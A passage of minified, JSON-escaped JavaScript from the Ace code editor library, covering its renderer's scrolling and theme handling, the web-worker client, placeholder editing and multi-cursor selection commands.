ace_scroll-left\");if(e&this.CHANGE_FULL){this.$textLayer.update(n),this.$showGutter&&this.$gutterLayer.update(n),this.$markerBack.update(n),this.$markerFront.update(n),this.$cursorLayer.update(n),this.$moveTextAreaToCursor(),this.$highlightGutterLine&&this.$updateGutterLineHighlight(),this._signal(\"afterRender\");return}if(e&this.CHANGE_SCROLL){e&this.CHANGE_TEXT||e&this.CHANGE_LINES?this.$textLayer.update(n):this.$textLayer.scrollLines(n),this.$showGutter&&this.$gutterLayer.update(n),this.$markerBack.update(n),this.$markerFront.update(n),this.$cursorLayer.update(n),this.$highlightGutterLine&&this.$updateGutterLineHighlight(),this.$moveTextAreaToCursor(),this._signal(\"afterRender\");return}e&this.CHANGE_TEXT?(this.$textLayer.update(n),this.$showGutter&&this.$gutterLayer.update(n)):e&this.CHANGE_LINES?(this.$updateLines()||e&this.CHANGE_GUTTER&&this.$showGutter)&&this.$gutterLayer.update(n):(e&this.CHANGE_TEXT||e&this.CHANGE_GUTTER)&&this.$showGutter&&this.$gutterLayer.update(n),e&this.CHANGE_CURSOR&&(this.$cursorLayer.update(n),this.$moveTextAreaToCursor(),this.$highlightGutterLine&&this.$updateGutterLineHighlight()),e&(this.CHANGE_MARKER|this.CHANGE_MARKER_FRONT)&&this.$markerFront.update(n),e&(this.CHANGE_MARKER|this.CHANGE_MARKER_BACK)&&this.$markerBack.update(n),this._signal(\"afterRender\")},this.$autosize=function(){var e=this.session.getScreenLength()*this.lineHeight,t=this.$maxLines*this.lineHeight,n=Math.max((this.$minLines||1)*this.lineHeight,Math.min(t,e))+this.scrollMargin.v+(this.$extraHeight||0);this.$horizScroll&&(n+=this.scrollBarH.getHeight());var r=e>t;if(n!=this.desiredHeight||this.$size.height!=this.desiredHeight||r!=this.$vScroll){r!=this.$vScroll&&(this.$vScroll=r,this.scrollBarV.setVisible(r));var i=this.container.clientWidth;this.container.style.height=n+\"px\",this.$updateCachedSize(!0,this.$gutterWidth,i,n),this.desiredHeight=n,this._signal(\"autosize\")}},this.$computeLayerConfig=function(){var e=this.session,t=this.$size,n=t.height<=2*this.lineHeight,r=this.session.getScreenLength(),i=r*this.lineHeight,s=this.$getLongestLine(),o=!n&&(this.$hScrollBarAlwaysVisible||t.scrollerWidth-s-2*this.$padding<0),u=this.$horizScroll!==o;u&&(this.$horizScroll=o,this.scrollBarH.setVisible(o));var a=this.$vScroll;this.$maxLines&&this.lineHeight>1&&this.$autosize();var f=this.scrollTop%this.lineHeight,l=t.scrollerHeight+this.lineHeight,c=!this.$maxLines&&this.$scrollPastEnd?(t.scrollerHeight-this.lineHeight)*this.$scrollPastEnd:0;i+=c;var h=this.scrollMargin;this.session.setScrollTop(Math.max(-h.top,Math.min(this.scrollTop,i-t.scrollerHeight+h.bottom))),this.session.setScrollLeft(Math.max(-h.left,Math.min(this.scrollLeft,s+2*this.$padding-t.scrollerWidth+h.right)));var p=!n&&(this.$vScrollBarAlwaysVisible||t.scrollerHeight-i+c<0||this.scrollTop>h.top),d=a!==p;d&&(this.$vScroll=p,this.scrollBarV.setVisible(p));var v=Math.ceil(l/this.lineHeight)-1,m=Math.max(0,Math.round((this.scrollTop-f)/this.lineHeight)),g=m+v,y,b,w=this.lineHeight;m=e.screenToDocumentRow(m,0);var E=e.getFoldLine(m);E&&(m=E.start.row),y=e.documentToScreenRow(m,0),b=e.getRowLength(m)*w,g=Math.min(e.screenToDocumentRow(g,0),e.getLength()-1),l=t.scrollerHeight+e.getRowLength(g)*w+b,f=this.scrollTop-y*w;var S=0;this.layerConfig.width!=s&&(S=this.CHANGE_H_SCROLL);if(u||d)S=this.$updateCachedSize(!0,this.gutterWidth,t.width,t.height),this._signal(\"scrollbarVisibilityChanged\"),d&&(s=this.$getLongestLine());return this.layerConfig={width:s,padding:this.$padding,firstRow:m,firstRowScreen:y,lastRow:g,lineHeight:w,characterWidth:this.characterWidth,minHeight:l,maxHeight:i,offset:f,gutterOffset:Math.max(0,Math.ceil((f+t.height-t.scrollerHeight)/w)),height:this.$size.scrollerHeight},S},this.$updateLines=function(){var e=this.$changedLines.firstRow,t=this.$changedLines.lastRow;this.$changedLines=null;var n=this.layerConfig;if(e>n.lastRow+1)return;if(t<n.firstRow)return;if(t===Infinity){this.$showGutter&&this.$gutterLayer.update(n),this.$textLayer.update(n);return}return this.$textLayer.updateLines(n,e,t),!0},this.$getLongestLine=function(){var e=this.session.getScreenWidth();return this.showInvisibles&&!this.session.$useWrapMode&&(e+=1),Math.max(this.$size.scrollerWidth-2*this.$padding,Math.round(e*this.characterWidth))},this.updateFrontMarkers=function(){this.$markerFront.setMarkers(this.session.getMarkers(!0)),this.$loop.schedule(this.CHANGE_MARKER_FRONT)},this.updateBackMarkers=function(){this.$markerBack.setMarkers(this.session.getMarkers()),this.$loop.schedule(this.CHANGE_MARKER_BACK)},this.addGutterDecoration=function(e,t){this.$gutterLayer.addGutterDecoration(e,t)},this.removeGutterDecoration=function(e,t){this.$gutterLayer.removeGutterDecoration(e,t)},this.updateBreakpoints=function(e){this.$loop.schedule(this.CHANGE_GUTTER)},this.setAnnotations=function(e){this.$gutterLayer.setAnnotations(e),this.$loop.schedule(this.CHANGE_GUTTER)},this.updateCursor=function(){this.$loop.schedule(this.CHANGE_CURSOR)},this.hideCursor=function(){this.$cursorLayer.hideCursor()},this.showCursor=function(){this.$cursorLayer.showCursor()},this.scrollSelectionIntoView=function(e,t,n){this.scrollCursorIntoView(e,n),this.scrollCursorIntoView(t,n)},this.scrollCursorIntoView=function(e,t,n){if(this.$size.scrollerHeight===0)return;var r=this.$cursorLayer.getPixelPosition(e),i=r.left,s=r.top,o=n&&n.top||0,u=n&&n.bottom||0,a=this.$scrollAnimation?this.session.getScrollTop():this.scrollTop;a+o>s?(t&&(s-=t*this.$size.scrollerHeight),s===0&&(s=-this.scrollMargin.top),this.session.setScrollTop(s)):a+this.$size.scrollerHeight-u<s+this.lineHeight&&(t&&(s+=t*this.$size.scrollerHeight),this.session.setScrollTop(s+this.lineHeight-this.$size.scrollerHeight));var f=this.scrollLeft;f>i?(i<this.$padding+2*this.layerConfig.characterWidth&&(i=-this.scrollMargin.left),this.session.setScrollLeft(i)):f+this.$size.scrollerWidth<i+this.characterWidth?this.session.setScrollLeft(Math.round(i+this.characterWidth-this.$size.scrollerWidth)):f<=this.$padding&&i-f<this.characterWidth&&this.session.setScrollLeft(0)},this.getScrollTop=function(){return this.session.getScrollTop()},this.getScrollLeft=function(){return this.session.getScrollLeft()},this.getScrollTopRow=function(){return this.scrollTop/this.lineHeight},this.getScrollBottomRow=function(){return Math.max(0,Math.floor((this.scrollTop+this.$size.scrollerHeight)/this.lineHeight)-1)},this.scrollToRow=function(e){this.session.setScrollTop(e*this.lineHeight)},this.alignCursor=function(e,t){typeof e==\"number\"&&(e={row:e,column:0});var n=this.$cursorLayer.getPixelPosition(e),r=this.$size.scrollerHeight-this.lineHeight,i=n.top-r*(t||0);return this.session.setScrollTop(i),i},this.STEPS=8,this.$calcSteps=function(e,t){var n=0,r=this.STEPS,i=[],s=function(e,t,n){return n*(Math.pow(e-1,3)+1)+t};for(n=0;n<r;++n)i.push(s(n/this.STEPS,e,t-e));return i},this.scrollToLine=function(e,t,n,r){var i=this.$cursorLayer.getPixelPosition({row:e,column:0}),s=i.top;t&&(s-=this.$size.scrollerHeight/2);var o=this.scrollTop;this.session.setScrollTop(s),n!==!1&&this.animateScrolling(o,r)},this.animateScrolling=function(e,t){var n=this.scrollTop;if(!this.$animatedScroll)return;var r=this;if(e==n)return;if(this.$scrollAnimation){var i=this.$scrollAnimation.steps;if(i.length){e=i[0];if(e==n)return}}var s=r.$calcSteps(e,n);this.$scrollAnimation={from:e,to:n,steps:s},clearInterval(this.$timer),r.session.setScrollTop(s.shift()),r.session.$scrollTop=n,this.$timer=setInterval(function(){s.length?(r.session.setScrollTop(s.shift()),r.session.$scrollTop=n):n!=null?(r.session.$scrollTop=-1,r.session.setScrollTop(n),n=null):(r.$timer=clearInterval(r.$timer),r.$scrollAnimation=null,t&&t())},10)},this.scrollToY=function(e){this.scrollTop!==e&&(this.$loop.schedule(this.CHANGE_SCROLL),this.scrollTop=e)},this.scrollToX=function(e){this.scrollLeft!==e&&(this.scrollLeft=e),this.$loop.schedule(this.CHANGE_H_SCROLL)},this.scrollTo=function(e,t){this.session.setScrollTop(t),this.session.setScrollLeft(t)},this.scrollBy=function(e,t){t&&this.session.setScrollTop(this.session.getScrollTop()+t),e&&this.session.setScrollLeft(this.session.getScrollLeft()+e)},this.isScrollableBy=function(e,t){if(t<0&&this.session.getScrollTop()>=1-this.scrollMargin.top)return!0;if(t>0&&this.session.getScrollTop()+this.$size.scrollerHeight-this.layerConfig.maxHeight<-1+this.scrollMargin.bottom)return!0;if(e<0&&this.session.getScrollLeft()>=1-this.scrollMargin.left)return!0;if(e>0&&this.session.getScrollLeft()+this.$size.scrollerWidth-this.layerConfig.width<-1+this.scrollMargin.right)return!0},this.pixelToScreenCoordinates=function(e,t){var n=this.scroller.getBoundingClientRect(),r=(e+this.scrollLeft-n.left-this.$padding)/this.characterWidth,i=Math.floor((t+this.scrollTop-n.top)/this.lineHeight),s=Math.round(r);return{row:i,column:s,side:r-s>0?1:-1}},this.screenToTextCoordinates=function(e,t){var n=this.scroller.getBoundingClientRect(),r=Math.round((e+this.scrollLeft-n.left-this.$padding)/this.characterWidth),i=(t+this.scrollTop-n.top)/this.lineHeight;return this.session.screenToDocumentPosition(i,Math.max(r,0))},this.textToScreenCoordinates=function(e,t){var n=this.scroller.getBoundingClientRect(),r=this.session.documentToScreenPosition(e,t),i=this.$padding+Math.round(r.column*this.characterWidth),s=r.row*this.lineHeight;return{pageX:n.left+i-this.scrollLeft,pageY:n.top+s-this.scrollTop}},this.visualizeFocus=function(){i.addCssClass(this.container,\"ace_focus\")},this.visualizeBlur=function(){i.removeCssClass(this.container,\"ace_focus\")},this.showComposition=function(e){this.$composition||(this.$composition={keepTextAreaAtCursor:this.$keepTextAreaAtCursor,cssText:this.textarea.style.cssText}),this.$keepTextAreaAtCursor=!0,i.addCssClass(this.textarea,\"ace_composition\"),this.textarea.style.cssText=\"\",this.$moveTextAreaToCursor()},this.setCompositionText=function(e){this.$moveTextAreaToCursor()},this.hideComposition=function(){if(!this.$composition)return;i.removeCssClass(this.textarea,\"ace_composition\"),this.$keepTextAreaAtCursor=this.$composition.keepTextAreaAtCursor,this.textarea.style.cssText=this.$composition.cssText,this.$composition=null},this.setTheme=function(e,t){function o(r){if(n.$themeId!=e)return t&&t();if(!r.cssClass)return;i.importCssString(r.cssText,r.cssClass,n.container.ownerDocument),n.theme&&i.removeCssClass(n.container,n.theme.cssClass);var s=\"padding\"in r?r.padding:\"padding\"in(n.theme||{})?4:n.$padding;n.$padding&&s!=n.$padding&&n.setPadding(s),n.$theme=r.cssClass,n.theme=r,i.addCssClass(n.container,r.cssClass),i.setCssClass(n.container,\"ace_dark\",r.isDark),n.$size&&(n.$size.width=0,n.$updateSizeAsync()),n._dispatchEvent(\"themeLoaded\",{theme:r}),t&&t()}var n=this;this.$themeId=e,n._dispatchEvent(\"themeChange\",{theme:e});if(!e||typeof e==\"string\"){var r=e||this.$options.theme.initialValue;s.loadModule([\"theme\",r],o)}else o(e)},this.getTheme=function(){return this.$themeId},this.setStyle=function(e,t){i.setCssClass(this.container,e,t!==!1)},this.unsetStyle=function(e){i.removeCssClass(this.container,e)},this.setCursorStyle=function(e){this.scroller.style.cursor!=e&&(this.scroller.style.cursor=e)},this.setMouseCursor=function(e){this.scroller.style.cursor=e},this.destroy=function(){this.$textLayer.destroy(),this.$cursorLayer.destroy()}}).call(g.prototype),s.defineOptions(g.prototype,\"renderer\",{animatedScroll:{initialValue:!1},showInvisibles:{set:function(e){this.$textLayer.setShowInvisibles(e)&&this.$loop.schedule(this.CHANGE_TEXT)},initialValue:!1},showPrintMargin:{set:function(){this.$updatePrintMargin()},initialValue:!0},printMarginColumn:{set:function(){this.$updatePrintMargin()},initialValue:80},printMargin:{set:function(e){typeof e==\"number\"&&(this.$printMarginColumn=e),this.$showPrintMargin=!!e,this.$updatePrintMargin()},get:function(){return this.$showPrintMargin&&this.$printMarginColumn}},showGutter:{set:function(e){this.$gutter.style.display=e?\"block\":\"none\",this.$loop.schedule(this.CHANGE_FULL),this.onGutterResize()},initialValue:!0},fadeFoldWidgets:{set:function(e){i.setCssClass(this.$gutter,\"ace_fade-fold-widgets\",e)},initialValue:!1},showFoldWidgets:{set:function(e){this.$gutterLayer.setShowFoldWidgets(e)},initialValue:!0},showLineNumbers:{set:function(e){this.$gutterLayer.setShowLineNumbers(e),this.$loop.schedule(this.CHANGE_GUTTER)},initialValue:!0},displayIndentGuides:{set:function(e){this.$textLayer.setDisplayIndentGuides(e)&&this.$loop.schedule(this.CHANGE_TEXT)},initialValue:!0},highlightGutterLine:{set:function(e){if(!this.$gutterLineHighlight){this.$gutterLineHighlight=i.createElement(\"div\"),this.$gutterLineHighlight.className=\"ace_gutter-active-line\",this.$gutter.appendChild(this.$gutterLineHighlight);return}this.$gutterLineHighlight.style.display=e?\"\":\"none\",this.$cursorLayer.$pixelPos&&this.$updateGutterLineHighlight()},initialValue:!1,value:!0},hScrollBarAlwaysVisible:{set:function(e){(!this.$hScrollBarAlwaysVisible||!this.$horizScroll)&&this.$loop.schedule(this.CHANGE_SCROLL)},initialValue:!1},vScrollBarAlwaysVisible:{set:function(e){(!this.$vScrollBarAlwaysVisible||!this.$vScroll)&&this.$loop.schedule(this.CHANGE_SCROLL)},initialValue:!1},fontSize:{set:function(e){typeof e==\"number\"&&(e+=\"px\"),this.container.style.fontSize=e,this.updateFontSize()},initialValue:12},fontFamily:{set:function(e){this.container.style.fontFamily=e,this.updateFontSize()}},maxLines:{set:function(e){this.updateFull()}},minLines:{set:function(e){this.updateFull()}},scrollPastEnd:{set:function(e){e=+e||0;if(this.$scrollPastEnd==e)return;this.$scrollPastEnd=e,this.$loop.schedule(this.CHANGE_SCROLL)},initialValue:0,handlesSet:!0},fixedWidthGutter:{set:function(e){this.$gutterLayer.$fixedWidth=!!e,this.$loop.schedule(this.CHANGE_GUTTER)}},theme:{set:function(e){this.setTheme(e)},get:function(){return this.$themeId||this.theme},initialValue:\"./theme/textmate\",handlesSet:!0}}),t.VirtualRenderer=g}),ace.define(\"ace/worker/worker_client\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/net\",\"ace/lib/event_emitter\",\"ace/config\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/net\"),s=e(\"../lib/event_emitter\").EventEmitter,o=e(\"../config\"),u=function(t,n,r,i){this.$sendDeltaQueue=this.$sendDeltaQueue.bind(this),this.changeListener=this.changeListener.bind(this),this.onMessage=this.onMessage.bind(this),e.nameToUrl&&!e.toUrl&&(e.toUrl=e.nameToUrl);if(o.get(\"packaged\")||!e.toUrl)i=i||o.moduleUrl(n,\"worker\");else{var s=this.$normalizePath;i=i||s(e.toUrl(\"ace/worker/worker.js\",null,\"_\"));var u={};t.forEach(function(t){u[t]=s(e.toUrl(t,null,\"_\").replace(/(\\.js)?(\\?.*)?$/,\"\"))})}try{this.$worker=new Worker(i)}catch(a){if(!(a instanceof window.DOMException))throw a;var f=this.$workerBlob(i),l=window.URL||window.webkitURL,c=l.createObjectURL(f);this.$worker=new Worker(c),l.revokeObjectURL(c)}this.$worker.postMessage({init:!0,tlns:u,module:n,classname:r}),this.callbackId=1,this.callbacks={},this.$worker.onmessage=this.onMessage};(function(){r.implement(this,s),this.onMessage=function(e){var t=e.data;switch(t.type){case\"event\":this._signal(t.name,{data:t.data});break;case\"call\":var n=this.callbacks[t.id];n&&(n(t.data),delete this.callbacks[t.id]);break;case\"error\":this.reportError(t.data);break;case\"log\":window.console&&console.log&&console.log.apply(console,t.data)}},this.reportError=function(e){window.console&&console.error&&console.error(e)},this.$normalizePath=function(e){return i.qualifyURL(e)},this.terminate=function(){this._signal(\"terminate\",{}),this.deltaQueue=null,this.$worker.terminate(),this.$worker=null,this.$doc&&this.$doc.off(\"change\",this.changeListener),this.$doc=null},this.send=function(e,t){this.$worker.postMessage({command:e,args:t})},this.call=function(e,t,n){if(n){var r=this.callbackId++;this.callbacks[r]=n,t.push(r)}this.send(e,t)},this.emit=function(e,t){try{this.$worker.postMessage({event:e,data:{data:t.data}})}catch(n){console.error(n.stack)}},this.attachToDocument=function(e){this.$doc&&this.terminate(),this.$doc=e,this.call(\"setValue\",[e.getValue()]),e.on(\"change\",this.changeListener)},this.changeListener=function(e){this.deltaQueue||(this.deltaQueue=[],setTimeout(this.$sendDeltaQueue,0)),e.action==\"insert\"?this.deltaQueue.push(e.start,e.lines):this.deltaQueue.push(e.start,e.end)},this.$sendDeltaQueue=function(){var e=this.deltaQueue;if(!e)return;this.deltaQueue=null,e.length>50&&e.length>this.$doc.getLength()>>1?this.call(\"setValue\",[this.$doc.getValue()]):this.emit(\"change\",{data:e})},this.$workerBlob=function(e){var t=\"importScripts('\"+i.qualifyURL(e)+\"');\";try{return new Blob([t],{type:\"application/javascript\"})}catch(n){var r=window.BlobBuilder||window.WebKitBlobBuilder||window.MozBlobBuilder,s=new r;return s.append(t),s.getBlob(\"application/javascript\")}}}).call(u.prototype);var a=function(e,t,n){this.$sendDeltaQueue=this.$sendDeltaQueue.bind(this),this.changeListener=this.changeListener.bind(this),this.callbackId=1,this.callbacks={},this.messageBuffer=[];var r=null,i=!1,u=Object.create(s),a=this;this.$worker={},this.$worker.terminate=function(){},this.$worker.postMessage=function(e){a.messageBuffer.push(e),r&&(i?setTimeout(f):f())},this.setEmitSync=function(e){i=e};var f=function(){var e=a.messageBuffer.shift();e.command?r[e.command].apply(r,e.args):e.event&&u._signal(e.event,e.data)};u.postMessage=function(e){a.onMessage({data:e})},u.callback=function(e,t){this.postMessage({type:\"call\",id:t,data:e})},u.emit=function(e,t){this.postMessage({type:\"event\",name:e,data:t})},o.loadModule([\"worker\",t],function(e){r=new e[n](u);while(a.messageBuffer.length)f()})};a.prototype=u.prototype,t.UIWorkerClient=a,t.WorkerClient=u}),ace.define(\"ace/placeholder\",[\"require\",\"exports\",\"module\",\"ace/range\",\"ace/lib/event_emitter\",\"ace/lib/oop\"],function(e,t,n){\"use strict\";var r=e(\"./range\").Range,i=e(\"./lib/event_emitter\").EventEmitter,s=e(\"./lib/oop\"),o=function(e,t,n,r,i,s){var o=this;this.length=t,this.session=e,this.doc=e.getDocument(),this.mainClass=i,this.othersClass=s,this.$onUpdate=this.onUpdate.bind(this),this.doc.on(\"change\",this.$onUpdate),this.$others=r,this.$onCursorChange=function(){setTimeout(function(){o.onCursorChange()})},this.$pos=n;var u=e.getUndoManager().$undoStack||e.getUndoManager().$undostack||{length:-1};this.$undoStackDepth=u.length,this.setup(),e.selection.on(\"changeCursor\",this.$onCursorChange)};(function(){s.implement(this,i),this.setup=function(){var e=this,t=this.doc,n=this.session,i=this.$pos;this.selectionBefore=n.selection.toJSON(),n.selection.inMultiSelectMode&&n.selection.toSingleRange(),this.pos=t.createAnchor(i.row,i.column),this.markerId=n.addMarker(new r(i.row,i.column,i.row,i.column+this.length),this.mainClass,null,!1),this.pos.on(\"change\",function(t){n.removeMarker(e.markerId),e.markerId=n.addMarker(new r(t.value.row,t.value.column,t.value.row,t.value.column+e.length),e.mainClass,null,!1)}),this.others=[],this.$others.forEach(function(n){var r=t.createAnchor(n.row,n.column);e.others.push(r)}),n.setUndoSelect(!1)},this.showOtherMarkers=function(){if(this.othersActive)return;var e=this.session,t=this;this.othersActive=!0,this.others.forEach(function(n){n.markerId=e.addMarker(new r(n.row,n.column,n.row,n.column+t.length),t.othersClass,null,!1),n.on(\"change\",function(i){e.removeMarker(n.markerId),n.markerId=e.addMarker(new r(i.value.row,i.value.column,i.value.row,i.value.column+t.length),t.othersClass,null,!1)})})},this.hideOtherMarkers=function(){if(!this.othersActive)return;this.othersActive=!1;for(var e=0;e<this.others.length;e++)this.session.removeMarker(this.others[e].markerId)},this.onUpdate=function(e){var t=e;if(t.start.row!==t.end.row)return;if(t.start.row!==this.pos.row)return;if(this.$updating)return;this.$updating=!0;var n=e.action===\"insert\"?t.end.column-t.start.column:t.start.column-t.end.column;if(t.start.column>=this.pos.column&&t.start.column<=this.pos.column+this.length+1){var i=t.start.column-this.pos.column;this.length+=n;if(!this.session.$fromUndo){if(e.action===\"insert\")for(var s=this.others.length-1;s>=0;s--){var o=this.others[s],u={row:o.row,column:o.column+i};o.row===t.start.row&&t.start.column<o.column&&(u.column+=n),this.doc.insertMergedLines(u,e.lines)}else if(e.action===\"remove\")for(var s=this.others.length-1;s>=0;s--){var o=this.others[s],u={row:o.row,column:o.column+i};o.row===t.start.row&&t.start.column<o.column&&(u.column+=n),this.doc.remove(new r(u.row,u.column,u.row,u.column-n))}t.start.column===this.pos.column&&e.action===\"insert\"?setTimeout(function(){this.pos.setPosition(this.pos.row,this.pos.column-n);for(var e=0;e<this.others.length;e++){var r=this.others[e],i={row:r.row,column:r.column-n};r.row===t.start.row&&t.start.column<r.column&&(i.column+=n),r.setPosition(i.row,i.column)}}.bind(this),0):t.start.column===this.pos.column&&e.action===\"remove\"&&setTimeout(function(){for(var e=0;e<this.others.length;e++){var r=this.others[e];r.row===t.start.row&&t.start.column<r.column&&r.setPosition(r.row,r.column-n)}}.bind(this),0)}this.pos._emit(\"change\",{value:this.pos});for(var s=0;s<this.others.length;s++)this.others[s]._emit(\"change\",{value:this.others[s]})}this.$updating=!1},this.onCursorChange=function(e){if(this.$updating||!this.session)return;var t=this.session.selection.getCursor();t.row===this.pos.row&&t.column>=this.pos.column&&t.column<=this.pos.column+this.length?(this.showOtherMarkers(),this._emit(\"cursorEnter\",e)):(this.hideOtherMarkers(),this._emit(\"cursorLeave\",e))},this.detach=function(){this.session.removeMarker(this.markerId),this.hideOtherMarkers(),this.doc.removeEventListener(\"change\",this.$onUpdate),this.session.selection.removeEventListener(\"changeCursor\",this.$onCursorChange),this.pos.detach();for(var e=0;e<this.others.length;e++)this.others[e].detach();this.session.setUndoSelect(!0),this.session=null},this.cancel=function(){if(this.$undoStackDepth===-1)throw Error(\"Canceling placeholders only supported with undo manager attached to session.\");var e=this.session.getUndoManager(),t=(e.$undoStack||e.$undostack).length-this.$undoStackDepth;for(var n=0;n<t;n++)e.undo(!0);this.selectionBefore&&this.session.selection.fromJSON(this.selectionBefore)}}).call(o.prototype),t.PlaceHolder=o}),ace.define(\"ace/mouse/multi_select_handler\",[\"require\",\"exports\",\"module\",\"ace/lib/event\",\"ace/lib/useragent\"],function(e,t,n){function s(e,t){return e.row==t.row&&e.column==t.column}function o(e){var t=e.domEvent,n=t.altKey,o=t.shiftKey,u=t.ctrlKey,a=e.getAccelKey(),f=e.getButton();u&&i.isMac&&(f=t.button);if(e.editor.inMultiSelectMode&&f==2){e.editor.textInput.onContextMenu(e.domEvent);return}if(!u&&!n&&!a){f===0&&e.editor.inMultiSelectMode&&e.editor.exitMultiSelectMode();return}if(f!==0)return;var l=e.editor,c=l.selection,h=l.inMultiSelectMode,p=e.getDocumentPosition(),d=c.getCursor(),v=e.inSelection()||c.isEmpty()&&s(p,d),m=e.x,g=e.y,y=function(e){m=e.clientX,g=e.clientY},b=l.session,w=l.renderer.pixelToScreenCoordinates(m,g),E=w,S;if(l.$mouseHandler.$enableJumpToDef)u&&n||a&&n?S=o?\"block\":\"add\":n&&l.$blockSelectEnabled&&(S=\"block\");else if(a&&!n){S=\"add\";if(!h&&o)return}else n&&l.$blockSelectEnabled&&(S=\"block\");S&&i.isMac&&t.ctrlKey&&l.$mouseHandler.cancelContextMenu();if(S==\"add\"){if(!h&&v)return;if(!h){var x=c.toOrientedRange();l.addSelectionMarker(x)}var T=c.rangeList.rangeAtPoint(p);l.$blockScrolling++,l.inVirtualSelectionMode=!0,o&&(T=null,x=c.ranges[0]||x,l.removeSelectionMarker(x)),l.once(\"mouseup\",function(){var e=c.toOrientedRange();T&&e.isEmpty()&&s(T.cursor,e.cursor)?c.substractPoint(e.cursor):(o?c.substractPoint(x.cursor):x&&(l.removeSelectionMarker(x),c.addRange(x)),c.addRange(e)),l.$blockScrolling--,l.inVirtualSelectionMode=!1})}else if(S==\"block\"){e.stop(),l.inVirtualSelectionMode=!0;var N,C=[],k=function(){var e=l.renderer.pixelToScreenCoordinates(m,g),t=b.screenToDocumentPosition(e.row,e.column);if(s(E,e)&&s(t,c.lead))return;E=e,l.$blockScrolling++,l.selection.moveToPosition(t),l.renderer.scrollCursorIntoView(),l.removeSelectionMarkers(C),C=c.rectangularRangeBlock(E,w),l.$mouseHandler.$clickSelection&&C.length==1&&C[0].isEmpty()&&(C[0]=l.$mouseHandler.$clickSelection.clone()),C.forEach(l.addSelectionMarker,l),l.updateSelectionMarkers(),l.$blockScrolling--};l.$blockScrolling++,h&&!a?c.toSingleRange():!h&&a&&(N=c.toOrientedRange(),l.addSelectionMarker(N)),o?w=b.documentToScreenPosition(c.lead):c.moveToPosition(p),l.$blockScrolling--,E={row:-1,column:-1};var L=function(e){clearInterval(O),l.removeSelectionMarkers(C),C.length||(C=[c.toOrientedRange()]),l.$blockScrolling++,N&&(l.removeSelectionMarker(N),c.toSingleRange(N));for(var t=0;t<C.length;t++)c.addRange(C[t]);l.inVirtualSelectionMode=!1,l.$mouseHandler.$clickSelection=null,l.$blockScrolling--},A=k;r.capture(l.container,y,L);var O=setInterval(function(){A()},20);return e.preventDefault()}}var r=e(\"../lib/event\"),i=e(\"../lib/useragent\");t.onMouseDown=o}),ace.define(\"ace/commands/multi_select_commands\",[\"require\",\"exports\",\"module\",\"ace/keyboard/hash_handler\"],function(e,t,n){t.defaultCommands=[{name:\"addCursorAbove\",exec:function(e){e.selectMoreLines(-1)},bindKey:{win:\"Ctrl-Alt-Up\",mac:\"Ctrl-Alt-Up\"},scrollIntoView:\"cursor\",readOnly:!0},{name:\"addCursorBelow\",exec:function(e){e.selectMoreLines(1)},bindKey:{win:\"Ctrl-Alt-Down\",mac:\"Ctrl-Alt-Down\"},scrollIntoView:\"cursor\",readOnly:!0},{name:\"addCursorAboveSkipCurrent\",exec:function(e){e.selectMoreLines(-1,!0)},bindKey:{win:\"Ctrl-Alt-Shift-Up\",mac:\"Ctrl-Alt-Shift-Up\"},scrollIntoView:\"cursor\",readOnly:!0},{name:\"addCursorBelowSkipCurrent\",exec:function(e){e.selectMoreLines(1,!0)},bindKey:{win:\"Ctrl-Alt-Shift-Down\",mac:\"Ctrl-Alt-Shift-Down\"},scrollIntoView:\"cursor\",readOnly:!0},{name:\"selectMoreBefore\",exec:function(e){e.selectMore(-1)},bindKey:{win:\"Ctrl-Alt-Left\",mac:\"Ctrl-Alt-Left\"},scrollIntoView:\"cursor\",readOnly:!0},{name:\"selectMoreAfter\",exec:function(e){e.selectMore(1)},bindKey:{win:\"Ctrl-Alt-Right\",mac:\"Ctrl-Alt-Right\"},scrollIntoView:\"cursor\",readOnly:!0},{name:\"selectNextBefore\",exec:function(e){e.selectMore(-1,!0)},bindKey:{win:\"Ctrl-Alt-Shift-Left\",mac:\"Ctrl-Alt-Shift-Left\"},scrollIntoView:\"cursor\",readOnly:!0},{name:\"selectNextAfter\",exec:function(e){e.selectMore(1,!0)},bindKey:{win:\"Ctrl-Alt-Shift-Right\",mac:\"Ctrl-Alt-Shift-Right\"},scrollIntoView:\"cursor\",readOnly:!0},{name:\"splitIntoLines\",exec:function(e){e.multiSelect.splitIntoLines()},bindKey:{win:\"Ctrl-Alt-L\",mac:\"Ctrl-Alt-L\"},readOnly:!0},{name:\"alignCursors\",exec:function(e){e.alignCursors()},bindKey:{win:\"Ctrl-Alt-A\",mac:\"Ctrl-Alt-A\"},scrollIntoView:\"cursor\"},{name:\"findAll\",exec:function(e){e.findAll()},bindKey:{win:\"Ctrl-Alt-K\",mac:\"Ctrl-Alt-G\"},scrollIntoView:\"cursor\",readOnly:!0}],t.multiSelectCommands=[{name:\"singleSelection\",bindKey:\"esc\",exec:function(e){e.exitMultiSelectMode()},scrollIntoView:\"cursor\",readOnly:!0,isAvailable:function(e){return e&&e.inMultiSelectMode}}];var r=e(\"../keyboard/hash_handler\").HashHandler;t.keyboardHandler=new r(t.multiSelectCommands)}),ace.define(\"ace/multi_select\",[\"require\",\"exports\",\"module\",\"ace/range_list\",\"ace/range\",\"ace/selection\",\"ace/mouse/multi_select_handler\",\"ace/lib/event\",\"ace/lib/lang\",\"ace/commands/multi_select_commands\",\"ace/search\",\"ace/edit_session\",\"ace/editor\",\"ace/config\"],function(e,t,n){function h(e,t,n){return c.$options.wrap=!0,c.$options.needle=t,c.$options.backwards=n==-1,c.find(e)}function v(e,t){return e.row==t.row&&e.column==t.column}function m(e){if(e.$multiselectOnSessionChange)return;e.$onAddRange=e.$onAddRange.bind(e),e.$onRemoveRange=e.$onRemoveRange.bind(e),e.$onMultiSelect=e.$onMultiSelect.bind(e),e.$onSingleSelect=e.$onSingleSelect.bind(e),e.$multiselectOnSessionChange=t.onSessionChange.bind(e),e.$checkMultiselectChange=e.$checkMultiselectChange.bind(e),e.$multiselectOnSessionChange(e),e.on(\"changeSession\",e.$multiselectOnSessionChange),e.on(\"mousedown\",o),e.commands.addCommands(f.defaultCommands),g(e)}function g(e){function r(t){n&&(e.renderer.setMouseCursor(\"\"),n=!1)}var t=e.textInput.getElement(),n=!1;u.addListener(t,\"keydown\",function(t){var i=t.keyCode==18&&!(t.ctrlKey||t.shiftKey||t.metaKey);e.$blockSelectEnabled&&i?n||(e.renderer.setMouseCursor(\"crosshair\"),n=!0):n&&r()}),u.addListener(t,\"keyup\",r),u.addListener(t,\"blur\",r)}var 